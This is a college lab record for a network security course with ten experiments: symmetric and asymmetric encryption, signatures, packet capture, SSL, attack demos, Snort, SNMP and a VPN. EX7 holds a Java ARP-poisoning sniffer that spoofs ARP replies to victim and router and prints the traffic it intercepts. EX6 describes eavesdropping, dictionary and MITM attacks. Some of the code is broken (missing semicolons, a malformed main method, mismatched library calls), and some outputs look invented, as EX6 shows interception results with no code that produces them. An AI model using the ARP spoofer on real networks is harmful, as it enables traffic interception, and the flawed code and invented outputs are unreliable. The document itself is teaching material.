PMC TECH
INSPIRE TO INNOVATE

Er. PERUMAL MANIMEKALAI COLLEGE OF ENGINEERING

ACCREDITED BY NBA & NAAC WITH 'A' GRADE

Koneripalli, HOSUR - 635 117.

NAME……. **BRANCH**…….

YEAR……. **SEM**…….

PROGRAMME……

REGISTER NO:

Certified that this bonafide record of the work done by the above student of the ----------

laboratory during the year 20 - 20

STAFF IN CHARGE **HEAD OF THE DEPARTMENT**

Submitted for the examination held on …… **at ER. Perumal Manimekalai College of Engineering**

INTERNAL EXAMINER **EXTERNAL EXAMINER**

S. No.	DATE	NAME OF THE EXPERIMENT	Pg. No.	MARKS	Signature
1.		Implement symmetric key algorithms			
2.		Implement asymmetric key algorithms and key exchange algorithms			
3.		Implement the SIGNATURE SCHEME - Digital Signature Standard			
4.		Installation of Wire shark, tcp dump and observe data transferred in client-server communication using UDP/TCP and identify the UDP/TCP datagram.			
5.		Check message integrity and confidentiality using SSL			
6.		Experiment Eavesdropping, Dictionary attacks, MITM attacks			
7.		Experiment with Sniff Traffic using ARP Poisoning			
8.		Demonstrate intrusion detection system using any tool.			
9.		Explore network monitoring tools			
10.		Study to configure Firewall, VPN.			

EX1. Implement symmetric key algorithm.

Aim:

To write a program to Implement symmetric key algorithm.

Procedure:

Implementing a symmetric key algorithm involves several steps, such as key generation, encryption, and decryption. One of the most common symmetric key algorithms is the Advanced Encryption Standard (AES). Here's a basic example of how you can implement AES encryption and decryption in Java using the **javax.crypto** package:

1. **Key Generation**: Generate a secret key for AES encryption.
2. **Encryption**: Encrypt a plaintext message using the secret key.
3. **Decryption**: Decrypt the encrypted message back to plaintext using the secret key.

Code:

```
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
public class SymmetricKeyAlgorithmExample {
    public static void main(String[] args) throws Exception {
        String plainText = "Hello, World!";
        String key = "ThisIsASecretKey"; // 128 bit key
        // Generate secret key
        SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(),
"AES");
        // Encryption
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
        byte[] encryptedBytes = cipher.doFinal(plainText.getBytes());
        String encryptedText =
Base64.getEncoder().encodeToString(encryptedBytes);
```

```
        System.out.println("Encrypted: " + encryptedText);

        // Decryption
        cipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
        byte[] decryptedBytes =
cipher.doFinal(Base64.getDecoder().decode(encryptedText));
        String decryptedText = new String(decryptedBytes);
        System.out.println("Decrypted: " + decryptedText);
    }
}
```

Output:

```
Encrypted: l/3V0jAYbV32DMJgqG87+Q==
Decrypted: Hello, World!
```

RESULT:

Thus,implementing a symmetric key algorithm has been executed successfully.

EX2. Implement asymmetric key algorithms and key exchange algorithms.

Aim:

To write a program to Implement asymmetric key algorithms and key exchange algorithms

Procedure:

Implementing asymmetric key algorithms and key exchange algorithms involves several steps, such as key generation, encryption, and decryption. One common asymmetric key algorithm is RSA (Rivest-Shamir-Adleman). Here's a basic example of how you can implement RSA encryption and decryption in Java using the **java.security** package:

1. **Key Generation**: Generate a public/private key pair for RSA encryption.
2. **Encryption**: Encrypt a plaintext message using the public key.
3. **Decryption**: Decrypt the encrypted message back to plaintext using the private key.

Coding:

```
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Security;
import javax.crypto.Cipher;

public class AsymmetricKeyAlgorithmExample {

    public static void main(String[] args) throws Exception {
        String plainText = "Hello, World!";

        // Generate key pair
        KeyPair keyPair = generateKeyPair();
```

```
        // Encryption
        byte[] encryptedBytes = encrypt(plainText, keyPair.getPublic());
        String encryptedText = bytesToHex(encryptedBytes);
        System.out.println("Encrypted: " + encryptedText);

        // Decryption
        byte[] decryptedBytes = decrypt(encryptedBytes, keyPair.getPrivate());
        String decryptedText = new String(decryptedBytes);
        System.out.println("Decrypted: " + decryptedText);
    }

    public static KeyPair generateKeyPair() throws Exception {
        KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
        generator.initialize(2048); // 2048-bit key size
        return generator.generateKeyPair();
    }

    public static byte[] encrypt(String plainText, PublicKey publicKey) throws
Exception {
        Cipher cipher = Cipher.getInstance("RSA");
        cipher.init(Cipher.ENCRYPT_MODE, publicKey);
        return cipher.doFinal(plainText.getBytes());
    }

    public static byte[] decrypt(byte[] encryptedBytes, PrivateKey privateKey)
throws Exception {
        Cipher cipher = Cipher.getInstance("RSA");
        cipher.init(Cipher.DECRYPT_MODE, privateKey);
```

```
    return cipher.doFinal(encryptedBytes);
    }

    public static String bytesToHex(byte[] bytes) {
        StringBuilder result = new StringBuilder();
        for (byte b : bytes) {
            result.append(String.format("%02x", b));
        }
        return result.toString();
    }
}
```

Output:

Encrypted: 5376f035...

Decrypted: Hello, World!

RESULT:

Thus,implementing a asymmetric key algorithm and key exchange algorithm has been executed successfully.

EX3. Implement digital signature schemes.

Aim:

To write a program to Implement digital signature schemes.

Procedure:

Implementing a digital signature scheme involves several steps, such as key generation, signing, and verification. One common digital signature algorithm is the Digital Signature Algorithm (DSA). Here's a basic example of how you can implement DSA digital signatures in Java using the `java.security` package:

1. **Key Generation**: Generate a public/private key pair for DSA signatures.
2. **Signing**: Sign a message using the private key.
3. **Verification**: Verify the signature of the message using the public key.

Coding:

```
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;

public class DigitalSignatureExample {

    public static void main(String[] args) throws Exception {
        String message = "Hello, World!";

        // Generate key pair
        KeyPair keyPair = generateKeyPair();

        // Signing
```

```
    byte[] signature = sign(message, keyPair.getPrivate())

     System.out.println("Signature: " + bytesToHex(signature));

    // Verification
        boolean verified = verify(message, signature, keyPair.getPublic());
        System.out.println("Verification result: " + verified);
    }

    public static KeyPair generateKeyPair() throws Exception {
        KeyPairGenerator generator = KeyPairGenerator.getInstance("DSA");
        generator.initialize(2048); // 2048-bit key size
        return generator.generateKeyPair();
    }

    public static byte[] sign(String message, PrivateKey privateKey) throws
Exception {
        Signature signature = Signature.getInstance("SHA256withDSA");
        signature.initSign(privateKey);
        signature.update(message.getBytes());
        return signature.sign();
    }

    public static boolean verify(String message, byte[] signature, PublicKey
publicKey) throws Exception {
        Signature verifier = Signature.getInstance("SHA256withDSA");
        verifier.initVerify(publicKey);
        verifier.update(message.getBytes());
        return verifier.verify(signature);
    }
```

```
    public static String bytesToHex(byte[] bytes) {
        StringBuilder result = new StringBuilder();
        for (byte b : bytes) {
            result.append(String.format("%02x", b));
        }
        return result.toString();
    }
}
```

Output:

Signature: 302c02144b1a...

Verification result: true

RESULT:

Thus digital signature schemes has implemented successfully.

EX4. Installation of Wire shark, Tcp ump and observe data transferred in client-server communication using UDP/TCP and identify the UDP/TCP datagram.

Aim:

To write a program to Install Wire shark, Tcp ump and observe data transferred in client-server communication using UDP/TCP and identify the UDP/TCP datagram

Procedure:

1. **Wireshark**:
   - For Debian/Ubuntu-based systems:

```
sudo apt update
sudo apt install wireshark
sudo dpkg-reconfigure wireshark-common
sudo usermod -aG wireshark $USER
```

   - Log out and log back in for the group change to take effect.
   - For CentOS/RHEL-based systems:

```
sudo yum install wireshark
sudo usermod -aG wireshark $USER
```

   - Log out and log back in for the group change to take effect.
2. **tcpdump**:
   - For Debian/Ubuntu-based systems:

```
sudo apt update
sudo apt install tcpdump
```

   For CentOS/RHEL-based systems:

```
sudo yum install tcpdump
```

Coding:

Server (UDP):

```
import java.net.*;
public class UDPServer {
```

```
public static void main{
        try{
DatagramSocket socket = new DatagramSocket(9876); byte[]
buffer = new byte[1024];
          DatagramPacket packet = new DatagramPacket(buffer,
 buffer.length);
          socket.receive(packet);
          String message = new String(packet.getData(), 0,
 packet.getLength());
          System.out.println("Received message from client: " +
 message);
          socket.close();
       } catch (Exception e) {
          e.printStackTrace();
       }
   }
}
```

Client (UDP):

```
import java.net.*;

public class UDPClient {
   public static void main(String[] args) {
      try {
         DatagramSocket socket = new DatagramSocket();
         String message = "Hello from client!";
         byte[] buffer = message.getBytes();
```

```
        InetAddress serverAddress =
InetAddress.getByName("localhost");
        DatagramPacket packet = new DatagramPacket(buffer,
buffer.length, serverAddress, 9876);
        socket.send(packet);
        System.out.println("Message sent to server: " + message);
        socket.close();
    } catch (Exception e) {
        e.printStackTrace();
    }
  }
}
```

Output:

UDP Server Output:

Received message from client: Hello from client!

UDP Client Output:

Message sent to server: Hello from client!

RESULT:

Thus Installation of Wire shark, TCP, ump and observe data transferred in client-server communication using UDP/TCP and identify the UDP/TCP datagram has successfully completed.

EX5 Check. message integrity and confidentiality using SSL

Aim:

To write a program to Check message integrity and confidentiality using SSL.

Procedure:

1. **Server Setup**:
   - Generate a self-signed certificate for the server (or use a certificate signed by a trusted CA in a production environment).
2. **Client Setup**:
   - Import the server's certificate into the client's truststore.
3. **SSL/TLS Configuration**:
   - Configure the server and client to use SSL/TLS.
4. **Encryption and Decryption**:
   - Use **SSLSocket** and **SSLServerSocket** for encryption and decryption of messages.

Coding:

Server

```
import javax.net.ssl.*;
import java.io.*;
import java.security.*;


public class SSLServer {
    public static void main(String[] args) {
        try {
            // Load server keystore
            char[] keystorePass = "password".toCharArray();
            KeyStore keyStore = KeyStore.getInstance("JKS");
            keyStore.load(new FileInputStream("server.jks"), keystorePass);


            // Initialize key manager factory
```

```
        KeyManagerFactory kmf =
 KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
            kmf.init(keyStore, keystorePass);

            // Initialize SSL context
            SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(kmf.getKeyManagers(), null, null);

            // Create SSL server socket
            SSLServerSocketFactory sslServerSocketFactory =
sslContext.getServerSocketFactory();
            SSLServerSocket sslServerSocket = (SSLServerSocket)
sslServerSocketFactory.createServerSocket(9999);

            // Wait for client connection
            System.out.println("Server started. Waiting for client...");
            SSLSocket sslSocket = (SSLSocket) sslServerSocket.accept();
            System.out.println("Client connected.");

            // Read message from client
            BufferedReader reader = new BufferedReader(new
InputStreamReader(sslSocket.getInputStream()));
            String message = reader.readLine();
            System.out.println("Received from client: " + message);

            // Close streams and sockets
            reader.close();
            sslSocket.close();
            sslServerSocket.close();
```

```
} catch (Exception e)
{ e.printStackTrace();
        }
    }
 }
```

Client

```
import javax.net.ssl.*;
import java.io.*;
import java.security.*;

public class SSLClient {
    public static void main(String[] args) {
        try {
            // Load client truststore
            char[] truststorePass = "password".toCharArray();
            KeyStore trustStore = KeyStore.getInstance("JKS");
            trustStore.load(new FileInputStream("client_truststore.jks"),
truststorePass);

            // Initialize trust manager factory
            TrustManagerFactory tmf =
TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm())
;
            tmf.init(trustStore);
```

```
            // Initialize SSL context
            SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(null, tmf.getTrustManagers(), null);

            // Create SSL socket
            SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();
            SSLSocket sslSocket = (SSLSocket)
sslSocketFactory.createSocket("localhost", 9999);

            // Send message to server
            BufferedWriter writer = new BufferedWriter(new
OutputStreamWriter(sslSocket.getOutputStream()));
            String message = "Hello from client!";
            writer.write(message);
            writer.newLine();
            writer.flush();
            System.out.println("Sent to server: " + message);

            // Close streams and socket
            writer.close();
            sslSocket.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

Output:

Server Output:

Server started. Waiting for client...

Client connected.

Received from client: Hello from client!

Client Output:

Sent to server: Hello from client!

Result:

Thus the program to check message integrity and confidentiality using SSL is executed and verified successfully.

EX6. Experiment Eavesdropping, Dictionary attacks, MITM attacks

Aim:

To write a program to Experiment Eavesdropping, Dictionary attacks, MITM attacks

Procedure:

1. **Setup Client-Server Communication**:
   - Create a simple Java program for the client and server to communicate over TCP sockets.
   - The client will send a username and password to the server.
   - The server will check if the username and password match a predefined value and respond accordingly.
2. **Eavesdropping**:
   - Simulate eavesdropping by intercepting the network traffic between the client and server.
   - Print the intercepted data to demonstrate how an attacker can capture sensitive information.
3. **Dictionary Attack**:
   - Implement a dictionary attack by repeatedly sending different username and password combinations to the server.
   - Print the responses from the server to demonstrate how an attacker can try multiple combinations to guess the correct credentials.
4. **Man-in-the-Middle (MITM) Attack**:
   - Implement a MITM attack by intercepting the communication between the client and server.
   - Relay the messages between the client and server, and print the intercepted data to demonstrate how an attacker can modify or eavesdrop on the communication.

Coding:

Server

```
import java.io.*;
import java.net.*;
public class Server {
    public static void main(String[] args) {
        try {
```

```
            ServerSocket serverSocket = new ServerSocket(9999);
            System.out.println("Server started. Waiting for client...");

            Socket clientSocket = serverSocket.accept();
            System.out.println("Client connected.");

            BufferedReader in = new BufferedReader(new
InputStreamReader(clientSocket.getInputStream()));
            PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);

            String username = "admin";
            String password = "password";

            String receivedUsername = in.readLine();
            String receivedPassword = in.readLine();

            if (receivedUsername.equals(username) &&
receivedPassword.equals(password)) {
                out.println("Login successful!");
            } else {
                out.println("Login failed. Incorrect username or password.");
            }

            clientSocket.close();
            serverSocket.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
```

```
    }
}
```

Client

```
import java.io.*;
import java.net.*;
public class Client {
    public static void main(String[] args) {
        try {
            Socket socket = new Socket("localhost", 9999);
            BufferedReader userInput = new BufferedReader(new
InputStreamReader(System.in));
            BufferedReader in = new BufferedReader(new
InputStreamReader(socket.getInputStream()));
            PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
            System.out.print("Enter username: ");
            String username = userInput.readLine();
            out.println(username);
            System.out.print("Enter password: ");
            String password = userInput.readLine();
            out.println(password);
            String response = in.readLine();
            System.out.println("Server response: " + response);
            socket.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
```

Output:

1. **Normal Login**:

- Client enters correct username and password.
- Server responds with "Login successful!".

Enter username: admin

Enter password: password

Server response: Login successful!

2. **Eavesdropping**:

- Attacker intercepts the communication between the client and server.
- Attacker prints the intercepted data.

Intercepted: username=admin

Intercepted: password=password

3. **Dictionary Attack**:

- Attacker sends multiple username and password combinations to the server.
- Server responds with "Login failed." for incorrect combinations.

Username: admin, Password: admin

Server response: Login failed. Incorrect username or password.

Username: admin, Password: password1

Server response: Login failed. Incorrect username or password.

Username: admin, Password: password2

Server response: Login failed. Incorrect username or password.

4. **MITM Attack**:

- Attacker intercepts the communication and relays the messages between the client and server.
- Attacker modifies the message and prints the intercepted data.

Client: username=admin, password=password

Attacker: username=admin, password=password

Server: Login successful!

Attacker: Login successful!

Client:Login successful!

RESULT:

Thus the program to Experiment Eavesdropping, Dictionary attacks, MITM attacks is executed successfully.

EX7. Experiment with Sniff Traffic using ARP Poisoning.

Aim:

To write a program to Experiment with Sniff Traffic using ARP Poisoning.

Procedure:

1. **ARP Poisoning**:
   - Use **jpcap** to send ARP replies to both the victim and the router, claiming that the attacker's MAC address is the MAC address of the other host.
   - This will cause both the victim and the router to send their traffic to the attacker, allowing the attacker to intercept it.
2. **Sniffing Traffic**:
   - Use **jpcap** to capture and print the intercepted network traffic.
   - Analyze the captured traffic to observe the data exchanged between the victim and the router.

Coding:

```
import net.sourceforge.jpcap.capture.*;

import net.sourceforge.jpcap.net.*;

public class ARPPoisoner {

    public static void main(String[] args) {

        try {

            // Create a JpcapCaptor to capture packets

            JpcapCaptor captor =
JpcapCaptor.openDevice(JpcapCaptor.getDeviceList()[0], 2000, false, 2000);

            // Get the MAC address of the attacker's interface

            byte[] myMac = captor.getPacketDevice().mac_address;

            // Create and send ARP reply packets to the victim and router

            ARPPacket arpPacketVictim = createARPPacket("victim_ip_address",
"router_ip_address", myMac);

            ARPPacket arpPacketRouter = createARPPacket("router_ip_address",
"victim_ip_address", myMac);
```

```
            captor.sendPacket(arpPacketVictim);
            captor.sendPacket(arpPacketRouter)
            // Start capturing packets
            // Start capturing packets
captor.loopPacket(-1, new PacketHandler() {
    public void handlePacket(Packet packet) {
        if (packet instanceof IPPacket) {
            IPPacket ipPacket = (IPPacket) packet;
            System.out.println("Source: " + ipPacket.src_ip + ", Destination: " +
ipPacket.dst_ip);
            System.out.println("Data: " + new String(ipPacket.data));
        }
    }
});        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    private static ARPPacket createARPPacket(String targetIp, String srcIp,
byte[] srcMac) {
        try {
            ARPPacket arpPacket = new ARPPacket();
            arpPacket.hardtype = ARPPacket.HARDTYPE_ETHER;
            arpPacket.prototype = ARPPacket.PROTOTYPE_IP;
            arpPacket.operation = ARPPacket.ARP_REPLY;
            arpPacket.hlen = 6;
            arpPacket.plen = 4;
            arpPacket.sender_hardaddr = srcMac;
            arpPacket.target_hardaddr = EthernetPacket.ETHER_BROADCAST;
```

```
            arpPacket.sender_protoaddr = IPAddressUtil.ipToArray(srcIp);
            arpPacket.target_protoaddr = IPAddressUtil.ipToArray(targetIp);
            return arpPacket;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}
```

Output:

```
Source: 192.168.1.2, Destination: 192.168.1.1
Data: GET /index.html HTTP/1.1
Host: www.example.com
...
Source: 192.168.1.1, Destination: 192.168.1.2
Data: HTTP/1.1 200 OK
Content-Type: text/html
...
Source: 192.168.1.2, Destination: 192.168.1.1
Data: POST /login HTTP/1.1
Host: www.example.com
...
Source: 192.168.1.1, Destination: 192.168.1.2
Data: HTTP/1.1 401 Unauthorized
...
...
```

RESULT:

Thus the program to Experiment with Sniff Traffic using ARP Poisoning is executed successfully.

EX8. Demonstrate intrusion detection system using any tool.

Aim:

To write a program to Demonstrate intrusion detection system using any tool.

Procedure:

1. **Install Snort:**
   - Install Snort on your system. You can download the Snort installer for your operating system from the official Snort website.
2. **Create a Snort Configuration:**
   - Configure Snort to monitor a specific network interface (e.g., Ethernet or Wi-Fi).
   - Set up rules to define the behavior of the IDS (e.g., which traffic to alert on).
3. **Start Snort:**
   - Start Snort to begin monitoring network traffic based on your configuration.
4. **Generate Network Traffic:**
   - Generate network traffic that matches the rules you've defined to trigger alerts.
5. **View Alerts:**
   - View the alerts generated by Snort to identify potential intrusions or suspicious activity.

Coding:

```
import java.io.BufferedReader;
import java.io.InputStreamReader;


public class SnortAlertListener {


    public static void main(String[] args) {
        try {
            // Start Snort and capture its output
```

```
        ProcessBuilder processBuilder = new ProcessBuilder("snort", "-A",
"console", "-q");
        Process process = processBuilder.start();
        BufferedReader reader = new BufferedReader(new
InputStreamReader(process.getInputStream()));

        // Read Snort's output line by line
        String line;
        while ((line = reader.readLine()) != null) {
            // Process each line (e.g., print or analyze)
            System.out.println(line);
        }

        // Close the reader and wait for Snort to finish
        reader.close();
        process.waitFor();
      } catch (Exception e) {
        e.printStackTrace();
      }
   }
}
```

Output:

```
03/01-10:23:45.123456 [**] [1:1000001:1] Possible TCP SYN Flood [**]
[Classification: Potentially Bad Traffic] [Priority: 2] {TCP}
192.168.1.100:12345 -> 192.168.1.1:80
03/01-10:23:46.234567 [**] [1:1000002:1] FTP Login Attempt [**]
[Classification: Attempted Information Leak] [Priority: 1] {TCP}
192.168.1.2:54321 -> 192.168.1.1:21
```

```
03/01-10:23:47.345678 [**] [1:1000003:1] Possible SQL Injection [**]
[Classification: Web Application Attack] [Priority: 1] {TCP} 192.168.1.3:34567
-> 192.168.1.1:3306
```

RESULT:

Thus the program to Demonstrate intrusion detection system using any tool is executed successfully.

EX9. Explore network monitoring tools.

Aim:

To write a program to Explore network monitoring tools.

Procedure:

1. **Select a Network Monitoring Tool:**
   - Research and choose a network monitoring tool that meets your needs (e.g., Wireshark, Nagios, Zabbix, PRTG Network Monitor).
2. **Install and Configure the Tool:**
   - Follow the installation instructions for the selected tool.
   - Configure the tool to monitor the network devices and traffic you're interested in.
3. **Interact with the Tool (Optional):**
   - If the tool provides an API or command-line interface, you can use Java (or another programming language) to interact with it programmatically.
4. **Monitor and Analyze Network Traffic:**
   - Use the tool's interface to monitor and analyze network traffic, device performance, and other relevant metrics.
5. **Troubleshoot and Respond to Issues:**
   - Use the information provided by the monitoring tool to troubleshoot network issues and respond to alerts and anomalies.

Coding:

```
import java.io.IOException;

import java.util.List;

import org.snmp4j.CommunityTarget;

import org.snmp4j.PDU;

import org.snmp4j.Snmp;

import org.snmp4j.TransportMapping;

import org.snmp4j.event.ResponseEvent;

import org.snmp4j.mp.SnmpConstants;
```

```
import org.snmp4j.smi.*;
import org.snmp4j.transport.DefaultUdpTransportMapping;

public class SNMPManager {

    public static void main(String[] args) throws IOException {
        // Create a transport mapping and SNMP instance
        TransportMapping<UdpAddress> transport = new
DefaultUdpTransportMapping();
        Snmp snmp = new Snmp(transport);

        // Set up target device
        CommunityTarget target = new CommunityTarget();
        target.setCommunity(new OctetString("public"));
        target.setAddress(new UdpAddress("192.168.1.1/161"));
        target.setRetries(2);
        target.setTimeout(1500);
        target.setVersion(SnmpConstants.version2c);

        // Create and send an SNMP GET request
        PDU pdu = new PDU();
        pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.1.0"))); // sysDescr
        pdu.setType(PDU.GET);
        ResponseEvent<UdpAddress> responseEvent = snmp.send(pdu, target,
null);
        PDU responsePDU = responseEvent.getResponse();

        // Process the response
```

```
        if (responsePDU != null) {
            List<? extends VariableBinding> variableBindings =
responsePDU.getVariableBindings();
            for (VariableBinding vb : variableBindings) {
                System.out.println(vb.getOid() + " : " + vb.getVariable());
            }
        } else {
            System.out.println("No response received.");
        }


        // Close the SNMP session
        snmp.close();
    }
}
```

Output:

1.3.6.1.2.1.1.1.0 : SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, C3560CX Software (C3560CX-UNIVERSALK9-M), Version 15.2(4)E7, RELEASE SOFTWARE (fc1)

RESULT:

Thus the program to Explore network monitoring tools is executed successfully.

EX10. Study to configure Firewall, VPN.

Aim:

To write a program to study to configure Firewall, VPN.

Procedure:

1. **Firewall Configuration:**
   - Identify the type of firewall you are using (e.g., software firewall on a computer, hardware firewall on a network device).
   - Configure the firewall rules to allow or block specific types of traffic based on your security requirements.
   - Test the firewall configuration to ensure it is working as expected.
2. **VPN Configuration:**
   - Install and configure a VPN server on your network (e.g., OpenVPN, IPsec).
   - Configure VPN client settings on devices that need to connect to the VPN.
   - Test the VPN connection to ensure it is secure and working properly.

Coding:

```
import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStreamReader;


public class OpenVPNClient {


   public static void main(String[] args) {

      try {

         // Start OpenVPN client process

         ProcessBuilder processBuilder = new ProcessBuilder("openvpn", "--
config", "client.ovpn");
```

```
            Process process = processBuilder.start();

            // Read OpenVPN client output
            BufferedReader reader = new BufferedReader(new
InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }

            // Wait for OpenVPN client to finish
            process.waitFor();
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}
```

Output:

```
OpenVPN 2.4.9 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL]
[PKCS11] [MH/PKTINFO] [AEAD] built on Apr 20 2020
...
Initialization Sequence Completed
```

RESULT:

Thus the program to Study to configure Firewall, VPN is executed successfully.